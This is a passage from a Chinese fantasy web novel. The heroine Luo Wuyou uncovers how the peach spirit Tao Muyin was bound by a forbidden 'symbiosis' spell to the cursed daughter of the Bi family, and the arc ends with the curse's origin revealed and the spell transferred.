“你可还见到了什么?”
落无忧向白隐迢问道。
白隐迢皱眉望着院中的黑影。
“碧连戚!这些鬼魂是碧连戚从碧落山庄中的坟场里放出来的!”
檐角的风铃叮当作响,落无忧叫道,“我知道了!”
“你知道什么了?!”
白隐迢不解道。
可落无忧却一句话未说,往屋内跑去。
白隐迢看了看白秋尽,白秋尽也不解地摇了摇头。
他又看向云殷寒。
却见云殷寒嘴角微微含笑,也是一副讳莫如深的模样,却也一句话没讲,继续加强结界。
白隐迢只好压下心中的疑惑,嘟囔道,“落落和云大哥你们一个二个的都想明白了,就只有我没想到……”
白秋尽轻轻地拍了一下白隐迢的头,轻斥道,
“别想了,先挡住这些鬼魂才是!”
白隐迢委屈地看了一眼白秋尽,“阿姐!”
随后,白隐迢加入云殷寒和白秋尽,三人一同结印。
*
落无忧哒哒哒地跑进屋内,腰间的宫铃随之晃动,声音清脆。
落无忧看着依旧未醒的碧梨惜,勾了勾唇,露出一对尖尖的虎牙,显得邪气又腹黑。
她鹿眼里闪过一丝狡黠,轻笑道,
“别装了,碧大小姐,我知道你醒了!”
话音落下,床上的人却依旧一动不动,仿佛是真的睡着了般。
落无忧也不恼,颇有些不急不缓地在屋内的椅子上坐下来,冷眼看着床上躺着的人。
过了半晌,床上的人仍旧未动,落无忧冷笑道,
“既然碧大小姐不相信我,那我们便走了。只是……”
落无忧说着,站起身来,抬脚欲走,她又叹了口气,摇了摇头,一副惋惜的模样。
“也罢,碧大小姐,那我便祝你成功吧!”
落无忧抬脚就走,她在心底默默数了五个数时,果然听到了自己想听到的声音。
“姑娘,留步。”
落无忧转过头,却见碧梨惜缓缓睁开了眼睛。
她嘴唇苍白,肤色几近透明的白,双眸下的乌青愈发的显得诡异无比。
落无忧返回椅子上坐下,笑道,“碧大小姐舍得起来了?”
碧梨惜没理会落无忧语气里的阴阳,诚挚道,“姑娘何时发现我已经醒了?”
落无忧冷笑道,“我原先不过疑惑为何我从你梦中醒来了,而你却未醒,方才才想明白你应当是在装睡。”
碧梨惜缓缓坐起来,她乌黑的头发倾泻而下,莫名的显得有些瘆人。
“姑娘果然冰雪聪明。”碧梨惜眼底满是恐惧,恳求道,
“那么,姑娘你们可否救救我?”
落无忧直直地盯着碧梨惜,嘴角带笑,鹿眼澄澈,她声音里带着些许无辜与不解。
“碧大小姐此言差矣,你这般厉害怎会需要我们来救呢?”
落无忧眨了眨眼,声音幽幽的,感叹道,“碧大小姐,你好大的局啊。”
碧梨惜的嘴角扬起一个诡异的微笑,轻声道,“彼此彼此。不愧是青枫宫之人,姑娘你当真聪明绝顶。”
22. 碧落山庄(六)
“说说吧,你到底是谁?”
落无忧将手放在桌子上,有一搭没一搭地敲击着桌面。
“下雪了!”白隐迢的感叹声自屋外传来。
屋外刀光剑影,冷风肆虐,又开始下雪了。
檐角的风铃发出细碎的声音,徐徐传入两人耳中。
“姑娘,你有没有听过一种名唤‘共生’的禁术?”
“共生?”
落无忧一怔,在脑海里搜索关于这个禁术的信息。
她曾在青枫宫里的书阁中见过。
所谓“共生”是指两个生命体通过法术建立起一种共生共存的关系,相当于母体和子体,一荣俱荣,一损俱损。而子体的外貌等各种特征会随着时间的推移而逐渐接近母体。
然而,这个禁术早已失传,落无忧也不知是否真的如古籍所说。
“你是子体么?”
碧梨惜点了点头,眼中闪烁着水光,她走近铜镜坐下,看着镜子里的自己。
碧梨惜抬起手轻轻地抚摸着自己的脸颊,轻叹道,
“我快要记不起我本来的模样了......”
“你为何会与碧大小姐共生?”
*
她本来并不是这个模样,她也不叫碧梨惜。
她叫什么名字呢?
她叫桃沐音,她是一只桃树精。
桃沐音遇见碧连戚那年,碧连戚不过十四岁。
彼时是秋日,万木肃杀,寒霜动人。
一场妖火席卷于山头,山间的野怪精灵纷纷四下逃逸。
他们唤着,“小桃树,快跑吧!”,随后头也不回的跑了。
然而,桃沐音还未修得人形,她无法逃跑,只好忍受着浓烟,祈祷山神可以早日发觉,进而扑灭这妖火。
但桃沐音等来的并非是山神,而是一名白衣少年。
少年气度不凡,手中持剑,抬手之间,灵力自剑尖倾泻而出。
桃沐音只觉一股清凉之力席卷而来,她身旁的妖火尽数扑灭,只余点点黑烟。
碧连戚温润一笑,感叹道,“小桃妖,你竟连小小妖火都扑灭不了么?”
桃沐音疑惑,“你怎知我是妖?”
桃沐音觉得有些神奇,她知道已化为人形的妖怪是可以通过妖气来辨别。
可若是和她一般还未化作人形,却先有了神志的呢?
碧连戚只觉她傻的可爱,从怀中掏出一个圆盘。
圆盘一靠近她便开始高速旋转。
“你便是通过这个认出我的?”
“对啊。”碧连戚说着,指尖凝聚灵力,将桃沐音前方的石头清理干净,撩起白色的衣摆坐下。
“此盘叫‘识妖盘’,可用来辨别已有神志的妖怪。”
微风轻拂而过,卷起碧连戚的墨发与白衣。桃树上枯黄的叶子随风而落,落到树下坐着的白衣少年身上。
少女干净的声音在风中飘荡,传入他耳中。
“你不怕我么?”
不怕我是妖怪吗?
“这有什么!你这蠢妖怪那么弱,如何伤到我?”
“......”
之后的日子里,碧连戚每隔几日便会到此地同桃沐音说话。
他每次来时都是愁眉苦脸,离开时却已心情大好。
就这样,冬去春来,万物复苏,连桃沐音都觉得痒痒的,桃枝萌芽。
再过一段时间,桃花开了,灼灼其华,美得宛如天堂胜景。
然而这时候,碧连戚来的次数越来越少,直至大半个月也不见人影。
习惯了碧连戚陪伴在左右,他不来,倒让桃沐音生出一丝莫名的不习惯。可明明她连他的名字都不知道。
彼时的她还不理解这种感受,她对自己滋生出的烦躁不安感到惊恐。
等到桃花谢了的时候,碧连戚终于来了。
少年身形节节拔高,眼中也不似当初那般澄澈干净,多了几分沧桑。
他眼下两抹乌黑,脸色极为憔悴。
“你来了呀。”
桃沐音声音里夹杂着些许喜悦。
“小桃妖,”碧连戚的声音里带着浓浓的疲惫,“我有些累了。”
说完,碧连戚靠着桃树干缓缓闭上了眼睛。
微风吹拂,桃树叶沙沙作响,投下一片阴影为树下的少年遮阳。
桃沐音心底涌起一阵难受来,莫名的想哭。
很久以后,她才知道那是心疼。
桃沐音惊奇地发现自己的身体正在发生变化——
她化形了。
碧连戚醒来时,只觉自己躺在一片温热柔软之中。
待他反应过来之后,才发现自己正躺在一个身着粉裙的少女怀中。
少女眉眼稚嫩,发髻上别着两朵粉嫩的桃花,别有一番说不出的好看。
桃沐音见怀中的少年睁开了眼睛,不禁喜道,
“你醒了。”顿了顿,她站起来转了两圈,眼睛亮晶晶的。
“你看,我化形了!”
见碧连戚看愣了,桃沐音继续问道,“我好看吗?”
“好看。”
碧连戚有些郝然地移开视线,却听少女疑惑道,
“你、你怎么脸红了?”
*
回顾往事,桃沐音的眉眼间皆是柔和与怀念。
落无忧静静地看着铜镜前坐着的女子,微不可查地叹了口气。
故事的开头总是美好无比。
然而过程呢?
“后来呢?”落无忧轻问。
*
后来呢?
后来,桃沐音和碧连戚去了碧落山庄。
桃沐音化形后,她才知道原来这个白衣少年名叫碧连戚,是碧落山庄的少主。
他没来的那段时间,碧落山庄发生了很大的事——
碧落山庄庄主去世了,碧连戚当上庄主,庄中事务众多,故他没来。
很久之后,桃沐音才知碧落山庄中的事情不仅这些。
可那时已经晚了。
桃沐音到碧落山庄后,受到碧家人的热烈欢迎。
尤其是碧大小姐碧梨惜。碧梨惜是碧连戚的妹妹,集万千宠爱于一身。那时她还不过是七八岁的小女孩。
见桃沐音长得好看,性子又温和,便日日跟在她身后,与她黏在一块。
莫氏待桃沐音也算得上好。
碧连戚就不必说了。他待桃沐音极好,会教她识字,带她去玩,和她嬉笑打闹。
寒来暑往,桃沐音便在碧落山庄住了下来。
她第一次有了家的概念。
每逢碧连戚和碧梨惜兄妹二人因桃沐音而争辩不休时,莫氏便笑着打趣,
“你们兄妹二人这般喜欢阿音,那便叫戚儿将阿音娶了可好?这样一来你们便可以和阿音一直待在一块儿了。”
听闻此言,碧连戚连脖子根都红了。
桃沐音不知道什么叫“娶”,她便只好笑笑不语。
可碧梨惜却是不开心了,她反驳着,“为何不能是我娶?阿音姐姐要一辈子同我一起玩才好!”
碧连戚一向温文尔雅,这时却罕见的怒斥道,“胡说什么!”
碧梨惜被凶,有些委屈,只好抱着桃沐音轻声细语道,“阿音姐姐,你一直陪着我好不好?”
桃沐音看着怀中毛茸茸的脑袋,心里软了一块,笑道,“自然是好的。”
等到碧连戚教桃沐音识字时,桃沐音竟频频走神。
碧连戚温柔的声音将她的思绪拉回,“阿音,你在想什么?”
桃沐音摇了摇头,却还是一副恹恹的样子。
“阿音,你可以同我说的。”碧连戚语气诚挚。
桃沐音闻言默了半晌,轻声问道,“‘娶’是什么意思?”
碧连戚哈哈一笑,松了口气,“原来是这个啊。”
他低头对上少女懵懂干净的双眸,顿了一下,温柔道,“是爱。”
“爱是什么意思?”
桃沐音坐在书案旁,抬眸不解道。
碧连戚一愣,看着面前的少女,少女依旧一身粉裙,她面若桃花,眼神清澈,与初见时一般无二。
见碧连戚没说话,桃沐音又问道,“爱便会娶么?”
碧连戚点了点头。
桃沐音唰的站起身来,可少年长得极快,她才堪堪够到他的肩头。
她抬头一字一顿道,“那你爱我吗?”
碧连戚弯下腰,与桃沐音平视,少年嘴角带笑,眼中一片柔情,他郑重道,“执子之手,与子偕老。”
桃沐音不解地眨了眨眼睛,她没明白意思,但脸刷一下的红了。
过了半晌,她才懵懂地问,“什么意思?”
碧连戚噗的笑出声,眉眼弯弯,眼底一片潋滟,宛如盛满了秋水。
他拉着桃沐音在桌案旁坐下,随后指着桌案上的书页,温和道,“你看。”
桃沐音顺着他手指指的地方望去,却见书上写着:
死生契阔,与子成说。
执子之手,与子偕老。①
彼时的桃沐音还不知道什么是爱,她也还不明白这句诗
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的意思。
然而,等到她知道的时候一切已变了。
很久之后,桃沐音也会想,至少碧连戚此时是真心的。
一切变故发生在碧梨惜十三岁那年。
起初是,碧梨惜开始整日整夜的做噩梦。
她哭喊着梦里有很多人。
那些人有的没有头颅,有的没有双手,有的没有双脚,有的甚至连四肢都没有......各种声音,男女老少皆有,均在梦里喊她——
“大小姐,你来了——”
“大小姐,救救我们......”
“我们来索命了——”
“......”
他们请了多少个能人异士都没用。
直到不知从什么地方来了个瘸腿道士,他拿着符纸一顿做法后得出结论:
碧落山庄作恶多端,此地妖邪众多,怨灵不愿投胎,便只好前来扰乱活人。
他话语里皆是对碧落山庄罪行的痛斥,碧连戚脸色难看,莫氏更是当场发飙,发了一顿脾气将那瘸腿道士赶了出去。
然而大家却对他说的话半信半疑。
碧梨惜的状况越来越不好,她噩梦缠身,脸色憔悴,精神也有些疯癫。
这时,不知哪儿冒出个小厮,轻声道,“桃木可辟邪。”
碧连戚脸色苍白,向来温润如玉的白衣公子当场将那个小厮处死,但莫氏落到桃沐音身上的眼神却越发的奇妙起来。
直至,桃沐音在书房门口听见了母子俩的争执——
“她是救你妹妹唯一的方法......”莫氏严肃道。
“你何时知道阿音是桃妖?”碧连戚的语气里听不出任何情绪。
桃沐音从门缝里往里看去,只见莫氏脸色苍白,神情里带着一丝心虚,她轻咬下唇,一言不发。
碧连戚见她的神色已猜到了七分,他冷笑道,
“哪个没长眼的杂碎告诉你的?”
莫氏一听此言,语气也激动起来,“你管是谁跟我说的?!若非是碧家,我又怎会沦落至此?”
莫氏越想越气,一挥袖子将桌上的茶盏摔下,带起一阵稀里哗啦的声响。
“若不是那个诅咒,我怎会失去所有修为?如今竟连一只小小的桃妖也看不出!若不是那个诅咒,惜惜又怎会成如今这般模样?若不是......”
莫氏泪如雨下,声音里均是不甘。
“母亲,噤声。”
碧连戚脸色阴沉的可怕,声音冷然。
莫氏本是憋了许久,加上各种事情将她的不满无限放大,可如今发泄完了,后背却沁出一层密密麻麻的冷汗。
她压低声音,“你必须想办法救惜惜,她是无辜的。”
碧连戚眼底一片血红,只听他低声嘶吼着,“难道阿音就不无辜吗?”
莫氏被他吼的一愣一愣的,心下有些委屈,“戚儿你以前从不这样对我说话的......”
碧连戚有些颓然地坐了下来,他伸出手按了按太阳穴,缓声道,“若非我将她带回家里,她本可以做个自由自在的精怪的......”
桃沐音感觉眼睛有些酸涩,她放下扶着木门的手,缓缓地转身离去。
之后的几天,桃沐音连碧连戚的影子都没见到,莫氏整日整夜陪着碧梨惜,她却一个地方都没去,一直在院子里坐着愣愣出神。
再后来,便不知从何处来了一个身穿华贵七彩衣裳,美得有些雌雄莫辨的孔雀精来了。
*
“雌雄莫辨的孔雀精?”
落无忧脑中闪过一个人影,忍不住出声打断桃沐音。
桃沐音也不恼,只是肯定地点了点头。
“可是名叫朱魇?”
桃沐音想了一下,摇了摇头,“我不知道。但是我曾听莫氏叫他‘大人’。”
落无忧低头沉思了一会,没说什么。
*
孔雀精带来了一个禁术:共生。
所谓共生,便是使用禁术将桃沐音和碧梨惜连接起来,一荣俱荣,一损俱损。
但需要两人心甘情愿。
可孔雀精没说的是,共生关系还分母体和子体,桃沐音为子体,碧梨惜为母体。
子体为母体承受所有痛苦,包括夜夜噩梦。
子体的容貌与外形均会与母体越来越相似。
桃沐音不知道碧连戚知不知道共生的副作用,但如今已经不重要了。
那时的她以为只要共生就可以救碧梨惜,于是她毫不犹豫的答应了。
可等着她的是无穷无尽的深渊。
23. 碧落山庄(七)
桃沐音欣然答应了。
那孔雀精便使用禁术将她和碧梨惜连结起来。
桃沐音只觉体内修为在减少,自己的身体正在发生变化,她的身形在缩小,非常像尚在十三岁的碧梨惜。
可她看见碧梨惜和莫氏都露出笑容时,她的担忧也消失得一干二净。
碧梨惜还是同最初般缠着她,与她相处甚欢。
碧连戚也还是同以前一般教她识字,与她花前月下。可她没看懂碧连戚眼中的不忍。
连莫氏也温和了不少。
桃沐音以为一切都回到最初的轨迹了。
好景不长,她开始做噩梦,梦里血流漂杵,尸骨如山,各种声音交织在一起,他们反反复复地喊着前来索命。
桃沐音开始整日整夜地失眠。
到后来,她开始精神恍惚,言语疯癫。
她每日都会坐在铜镜前愣愣出神,亲眼看着自己的容貌一点一点的改变,直至与碧梨惜越来越像,宛如一对双生子。
*
说到这,桃沐音停下了叙述。
她眼含泪水,轻轻抚上自己的脸庞。
“所以你便种了形状呈阴的树木?还有那挂在檐角的风铃是可以吸引怨灵的。”
落无忧看着窗纸,问道。
桃沐音摇了摇头,却又点了点头,
“枯树是本就在此院的。而那风铃却是我向莫氏要的......”
泪水自桃沐音眼眶中缓缓流出,她哽咽着,“碧连戚说的没错,我是只愚蠢的妖怪。我已经没有修为了,我无法自救。我便想......”
“你便想以身饲魔,成为怨灵的载体,进而逃出去么?”
落无忧皱眉,声音里带着一丝不忍。
桃沐音点了点头,轻声道,“你看啊,你多聪明。”
落无忧疑惑,“据你所说,碧连戚应当是蛮喜欢你的,为何他不帮你?”
落无忧自小与师父待在一块,师父又对世间“情”之一字极为避讳,从来只是告诫她,“不要爱上男人。不要相信男人。更不要相信残星岛之人。”
可她还是不理解世间爱恨。
桃沐音看着落无忧懵懂清澈的双眸,仿佛在她身上看见了最初的自己。
桃沐音忽然笑了,只听她轻叹道,“傻姑娘,已经不重要了。”
“为何不重要了?”
落无忧有些急切,然而这时外头却传来木门被撞开的巨响声。
紧跟着的是一道急切的呼唤声,“阿音!”
“此地极为危险,碧公子怎么来了?”
云殷寒淡然的声音自屋外响起。
落无忧看着桃沐音,仿佛在询问她可要与他相见?
桃沐音摇了摇头,轻叹道,“时至今日,已无相见的必要了。只是,麻烦你们了。”
落无忧摇了摇头,也叹息道,“若是,若是有朝一日我也走到这般地步,我或许还不如姐姐豁达。”
说着,她往外走去,身后却传来桃沐音温和的声音。
“你定不会如我一般的。”
落无忧打开门,却见云殷寒三人所设的结界还挺结实,鬼魂怨灵撞不开结界,只好聚集在外头。
她冷眼盯着刚刚跑进门槛的白衣公子,心中极为复杂,虽说是知晓缘由便好解决这桩事了,可她却对桃沐音打抱不平。
眼看他被恶鬼缠身,云殷寒只好冲出去去救他。
云殷寒指尖凝聚灵力,将碧连戚身旁的恶鬼一一拂开。
云殷寒一把抓住碧连戚,想要将他带出去。
“走。”
然而,碧连戚仍旧面露焦急,不断往里边探头,“阿音如何?”
云殷寒没听到桃沐音的故事,他转头看了一眼,却见落无忧眼里皆是鄙夷,他心下猜到了几分,不动声色道,
“有我们在,她会没事的。”
说着,他一把抓住碧连戚,将他带离此地。
落无忧见状,转头对白隐迢和白秋尽说,“我们来收掉这些怨灵吧。”
白隐迢和白秋尽齐齐点头,“好。”
随即,落无忧解开挎着的布包,声音清脆,“阿鸾,该你出手了。”
她话音一落,尖锐的青鸾鸟叫声响起,一道绿光自布袋里飞出。
青鸾鸟浑身散发着金绿色光芒,它张开嘴巴,源源不断的黑影呜咽着被它吸入口中。
白隐迢惊讶地张大嘴巴:“这......这般容易么?”
然而下一刻,他便发觉落无忧脸色越发的苍白起来,随着阿鸾吞噬的黑影越多,她越虚弱。
“落落!”
落无忧忽然踉跄一步,单膝跪地。
白隐迢和白秋尽担忧地跑向她。
落无忧朝两人摇了摇头,轻声道,“我没事。”
这时,天边已渐渐亮起来,雪也渐渐停下了。
那些怨灵逃走的逃走,其余的均被阿鸾吞噬得一干二净。
阿鸾吞噬完怨灵便回到落无忧身旁焦急地飞来飞去,叽叽喳喳的不知道在说些什么。
落无忧却听懂了,她冲阿鸾摇了摇头,轻声训斥:“别胡说。”
闻言,阿鸾愈发委屈地叫唤着。
落无忧低头沉思,阿鸾说的她都知道。
她起初出于好心替云殷寒吞噬的魔丹依旧还未被炼化,而随着她接触到的魔物越来越多,她体内的魔丹吸收的怨念越来越多,她越来越容易被影响。
此时最好的解决方法是回宫闭关。
师父总会有办法的。
可她答应了煌瞳为他寻找记忆碎片,此时才一共找到了两块记忆碎片,她定不能半途而废。
见落无忧不听劝,阿鸾委屈巴巴地飞入布袋中,它需要快点炼化这些怨灵,才能让主人少受影响。
正巧此时,云殷寒刚踏入门口,见落无忧脸色苍白,倒在白秋尽怀中。
他心下一急,飞掠而来,自白秋尽手中接过落无忧,声音里竟带上了一丝微不可查的颤抖,“怎么了?”
白秋尽把方才的事一一说给他听。
桃沐音听见院子里的声响,赶忙说,“把她先安置在我屋中吧。”
云殷寒小心翼翼地抱起落无忧,走进屋内,却在层层叠叠的鲛纱外停住脚步,似是在犹豫可否进去。
桃沐音轻叹道,“别拘于礼节,先为她疗伤。”
听到此语,云殷寒毫不犹豫地踏入里边。
他极小心将落无忧放在床上,给她盖上被子,还怕冷着她,毕竟桃沐音屋内没有一盆炭火。
于是,云殷寒自储物袋中拿出一床雪白的被子给她盖上。
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仔细一看,那被子上也有几颗星星,那是残星被,冬暖夏凉。
随后,他伸手抽出落无忧的皓腕,抬手把上她的手。
指尖一阵温热源源不断的传入,云殷寒浓密的睫毛簌簌抖动。
他抽回手,将落无忧的手放回被子下,手中凝聚灵力,探入她体内。
灵力顺通无阻,遍及她四肢百骸,云殷寒耳根莫名的泛着粉色。
落无忧只觉一股清凉至极的灵力进入体内,宛如游龙般在全身游走,最终在丹田处停下。
那股冰冰凉凉的灵力在她丹田处不断吹拂,极痒极舒服。
云殷寒不知触碰到了什么,脸色一僵,有些不确定地再次察看。
只见落无忧丹田上方漂浮着一颗巨大无比的珠子,那珠子正散发着暗红色的光芒。
魔丹?
何处来的?
“你讨厌魔。那你可知那个小姑娘为何独独被吞入苍溟泽内?”
“那还不是因为她体内有魔丹!”
朱魇在苍溟泽上说的话一字一句在他脑海中萦绕着。
无忧竟然是魔?
可他最厌恶的莫过于是魔物了。
云殷寒的脸色越发的苍白起来。
他刷的站起身来,踉跄着往后退了几步,盯着落无忧的目光越发的迷茫起来。
桃沐音眼睁睁看着云殷寒逃离似的跑出房间。
“云大哥!”
白隐迢见云殷寒失魂落魄地走出房门,以为落无忧出什么事了,便忍不住叫道,“云大哥!落落怎么样了?”
云殷寒脸色惨白如纸,轻声道,“你们进去看看她吧。”
说罢,他跌跌撞撞地往外走去。
白隐迢和白秋尽对视一眼,白隐迢轻声道,“阿姐,你去看看云大哥,他从未有如此失态的样子。”
白秋尽点了点头,往外走去,白隐迢则转身走进房间里。
桃沐音对云殷寒的态度转变感到极为疑惑,她起身为落无忧拉了拉被子,便听见身后传来脚步声。
她往外看去,便见青衣少年冲她礼貌地笑了一下,随即走近床边。
“我来吧。”
桃沐音没说什么,只是朝白隐迢微微颔首,随后往鲛纱外走去。
白隐迢勾了个椅子,坐在床边守着落无忧。
*
云殷寒只觉心中烦闷不已,他说不出为何会这般失态,也不明白为何自己会如此在意这件事。
他坐在碧落山庄的一个湖心亭中,周围白雪皑皑,不见活物踪影。
不知过了多久,一阵脚步声自他身后传来,之后停在了他的身旁。
微风吹来,将湖里的碎冰吹动起来,激起阵阵涟漪。
两人静静地盯着湖中央的涟漪沉默不言。
过了一会,白秋尽才缓缓开口,她的声音轻柔至极,仿佛并不好奇云殷寒为何会如此失控。
“云大哥可还记得你来轻云门的那年冬天,雪下的极大。”
云殷寒轻声道,“比这里的大多了,下了三天三夜,湖面冰封,经久不化。”
白秋尽的这句话把他的理智渐渐拉回。
他是残星楼云家嫡子,本就该联姻,巩固家族势力。
情绪不外露是他学会的第一件事。
此刻怎能如此失态?
24. 碧落山庄(终)
“劳烦你挂心。”云殷寒客气中带着一丝疏离。
白秋尽垂下眼睑,遮住眼中的情绪。
云殷寒和她都是身不由己的人,都被家族所累,为家族所生,谁又比谁好到哪里去。
“回去吧。若是落落醒了,该担心了。”
白秋尽抬眸轻声道,随后率先往回走去。
云殷寒点了点头,缓缓站起身来,跟在她身后。
*
落无忧迷迷糊糊间只觉口干舌燥,便轻哼着,“水,我想喝水。”
白隐迢坐得昏昏欲睡,一听这几乎微不可闻的声音便清醒过来了。
他激动至极:“好,落落你等一下!”
说着,便拿过屋子中央桌子上的茶壶慌慌张张地倒了一杯,又急急忙忙地跑到床边想要喂落无忧喝。
然而白隐迢犯难了:他该如何喂正在迷迷糊糊中的落无忧。
这时,便听见房门被推开的声音,白隐迢转身便看见从层层叠叠的鲛纱中走进来的白秋尽。
一见到白秋尽,白隐迢便仿佛见到了救星,他苦着脸:“阿姐,落落想喝水。‘男女授受不亲’,你来喂吧。”
白秋尽无奈地笑了一声,轻轻地拍了一下白隐迢的头,暗想,自家弟弟终究是太单纯了。
随后,她从白隐迢手中拿过茶水,坐到床边,将落无忧扶起来,靠在自己怀中,温柔地给她喂水。
落无忧闭着眼睛,鸦羽般睫毛投下一片阴影,眉眼稚嫩,沉睡着的她少了几分俏皮与腹黑,多了许多柔和与乖巧。
茶水在她唇边汇成一小股顺着她的脖颈流入衣裙,锁骨上的紫色衣裙上印出较深的颜色。
白隐迢缓缓地动了动喉结,有些惊慌失措地移开目光,他忽然感到有些口干舌燥,有些慌乱地倒了杯水一饮而下。
白秋尽抬眸淡淡地瞥了一眼白隐迢。
却见少年耳尖泛红。
此时,外边传来了云殷寒的声音,可能是在雪地里站久了,他的声音里带上了一丝若有若无的凉意。
“阿迢,你随我去处理后续的事吧。”
白隐迢看了一眼白秋尽,白秋尽正给落无忧盖被子。
白隐迢轻手轻脚地往外走去,然而此时落无忧迷迷糊糊地睁开双目,轻声道,
“我也要去。”
桃沐音的故事只有她听过,她一起去处理会更好一些。
白隐迢脚步一顿,“落落你说什么?”
“我得与你们一同去才好。”
落无忧再次道。
白秋尽眼底也闪过一丝担忧,“落落,你不适合去,外边天寒地冻的,仔细自己的身子。”
落无忧摇摇头,“白姐姐,我没事,我方才只是灵力有些枯竭,我不使用灵力便好。”
“可是......”白隐迢还欲争辩,却听云殷寒的声音再次从门外传来。
“让她去吧。”
落无忧感激地往外看了一眼,随后起身。
一踏出门口,落无忧就起了一层鸡皮疙瘩,寒风入骨,没有灵力抵御寒冷,确实有些难捱。
云殷寒发觉落无忧的表情,却没有行动,隐藏在袖子中的手紧紧地握着,仿佛在压抑什么想法。
“落落,你用我的披风吧。”
白隐迢紧跟落无忧出来,说着,他自储物袋中取出自己的披风。
白隐迢的披风与他的衣服是同色系的,都是烟青色的,仿佛远山连绵。
他为落无忧披上披风,还想为她系上带子,却被落无忧接过,自己系上了。
落无忧低头系披风带子,掩饰眼中的情绪。
她不渴望云殷寒给她披风是不可能的。
落无忧咬唇轻声道,“谢谢你,等回到碧落城我再备一件。”
她灵力充足的时候怎会怕冷,因此总是忘记。
云殷寒垂眸,浓密的睫毛遮住他眼底的情绪。
白隐迢轻笑,“你一直用我的也无妨。”
云殷寒心中宛如打翻了无数调味瓶,五味杂陈。愤怒、嫉妒、心疼......极为复杂,说不清是哪种感受多一些。
他率先往外走去,身后传来落无忧和白隐迢的只言片语。
“你将碧连戚带到何处了?”
落无忧三步并两步走,跟上云殷寒,疑惑道。
云殷寒不自觉地减慢速度,与她并肩而行,却在目光触及那件烟青色的披风时,莫名地怒火中烧。
“我将他与莫氏和碧梨惜禁锢在他们的院子里。”
云殷寒别过脸,声音冷淡。
落无忧只觉莫名其妙,自自己醒来后他便是这样一副面孔,好似谁欠他钱一样。
落无忧缓和语气,“哥哥,你怎知道我的计划的?”
云殷寒一听她如往常一般唤他“哥哥”,心中忽然甜蜜蜜的。
然而,他一转头便看见她穿着白隐迢的披风,心中又不免有些生气,于是僵着脸道,“猜的。”
落无忧见他仍旧这般摆着脸,不仅也有些生气地“哦”了一声。
云殷寒见她“哦”了一声后,不在说话,心里不禁涌起一阵懊恼来。
他暗道,我是否语气不太好?我可是态度不太对?
又想,本就是我不给她披风,她才接了白隐迢的,是我的错,我不给她披风是要叫她挨冻么?
我方才不该用这种语气同她说话的。我现在是要道歉还是做什么?
云殷寒想着,偷瞄一眼身旁的落无忧。
少女紫色衣裙被严严实实的裹在烟青色的披风中,她双髻上的银饰品泛着冷光,漂亮的额头上贴着银制的花钿,极为养尊处优的模样。
想来是太冷了,她鼻子红彤彤的,连脸颊上也红了一块。
云殷寒默了半晌,轻问,“可是很冷?”
落无忧抬头,鹿眼亮晶晶的,颇有些委屈:“青枫很少下雪,我从未见过如此大的雪。何况......”
何况她因要压制魔丹,体内灵力稀少,不能用来御寒。
云殷寒闻言在储物袋里搜寻半晌,掏出一个汤婆子,往汤婆子中注入灵力,然后递给落无忧。
“用这个暖暖手。”
落无忧也不矫情,接过汤婆子躲在披风里保暖。
云殷寒见她双手被冻得红通通的,心底又涌起一股无名状的心疼来。
他别开眼,压抑住心里的情绪。
此时已到了莫氏的院子处,院子周围泛着一层淡淡的金光,确实是被云殷寒布下了结界。
四人走进院子里,见三人正站在结界里,一见到四人走来,碧梨惜凑上来。
落无忧仔细一看,碧梨惜与桃沐音确实有七分相似,说是两姐妹也不为过。
“仙君,音姐姐如何了?”
落无忧对她没什么好感,冷哼一声转过头没回答她。
云殷寒却是回答说,“我们来正是为了解决这件事。”
碧梨惜眼眶忽然就红了,声音有些哽咽,“是我们碧家对不起她。”
落无忧冷笑道,“你们碧家对不起的可不只是桃沐音一人。”
“落落,什么意思啊?”
白隐迢凑近她,低头询问。
落
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无忧声音微冷,“碧公子,莫夫人,你们自己说吧。”
碧连戚和莫氏脸色一阵白一阵青,碧连戚叹了口气,“我来说吧。”
*
那件事是碧父弥留之际才跟碧连戚说的。
碧连戚少年时期的梦想也是仗剑天涯,降妖除魔,守护苍生。
可笑的是他努力修习十多年换来的是血淋淋的真相。
他们家族是有污点的。
他的祖先碧如季与魔阈中人勾结,企图通过禁术来造魔。
于是他们残杀无辜苍生,制造无数怨灵,最后也算是自食其果,家族女子,均受诅咒,无法修行,且有碧家血脉的女子都会被怨灵所扰。
像莫氏一样嫁入碧落山庄的女子修为尽散,像碧梨惜一样的女子不仅不可修行,反受怨灵所扰。
十四岁的碧连戚十分勤勉,每日卯时起,戌时归,于山间练剑。
有一日他正在练剑时,察觉不远处有人放纵山火,他赶到时山间精怪早已逃之夭夭,手中的识妖盘却旋转不停。
原是还有一只有了意识的桃妖。
他心下不忍,挥剑扑灭漫山遍野的山火,口中却毫不留情,“小桃妖,你竟连小小妖火都扑灭不了么?”
那只桃妖却惊奇:“你怎知我是妖?”
他心中暗叹,真是只愚蠢的妖精。
可还是非常有耐心的给她解释。
从此,他不再独自一个人修炼了,有一只蠢蠢的妖精陪在他左右。
后来,他家中生了很大的变故,父亲猝然长逝,碧落山庄的一切事务堆压在他肩上。
忙完了所有的事情,他唯一想的是去看看那棵桃树。
碧连戚只觉很累,原来他的家族背负着那么多的人命,那他这算什么?他努力守护苍生的愿望变成了个笑话。
他昏昏沉沉地在桃树下睡着了,只觉一股浅浅的香味萦绕在鼻尖。
他再次醒来时那只愚蠢的桃妖就化形了。
她其实很好看,比他见过的女子都美。
她没地方可去,他便将她带回了家。
现在想想,那是他做过最后悔的事了。
之后桃沐音在碧落山庄开心的住下了,他们一家人都很喜欢她。
他也是。
他想,他一辈子不娶妻,和她在一起。
然而,后面发的一切却脱离了他的掌控。
先是妹妹身受诅咒,再是忽然到来的孔雀精。
他原本拒绝了孔雀精带来的禁术,他也不想和魔阈之人有任何关系。
然而,莫氏爱女心切,竟偷偷与孔雀精做交易。
说到此,碧连戚叹了口气,“终究是我们负她太多。”
云殷寒反问,“那那些无辜的人呢?”
碧连戚轻叹,“碧落山庄还有些许薄财,将钱财散了,算是我们的一点忏悔。”
*
夕阳拉得很长很长,洒下亿万光芒。
然而几人却思绪万千。
落无忧想起桃沐音离开时她问她将要去哪里?
桃沐音带着毡帽,看着远方连绵不断的群山,“去哪都行。看看我还没见过的天地。”
“共生”依旧无解,然而所幸的是,可以转移,他们将“共生”转移到了碧连戚身上。
遗憾的是,桃沐音再也没有了妖力。
分别时,桃沐音偷偷对她说,“你会比我幸福的。”
“无忧?”
落无忧还在想着,便被云殷寒的呼唤拉回了思绪。
她冲云殷寒粲然一笑,默念道,也许吧。
25. 辞旧迎新(一)
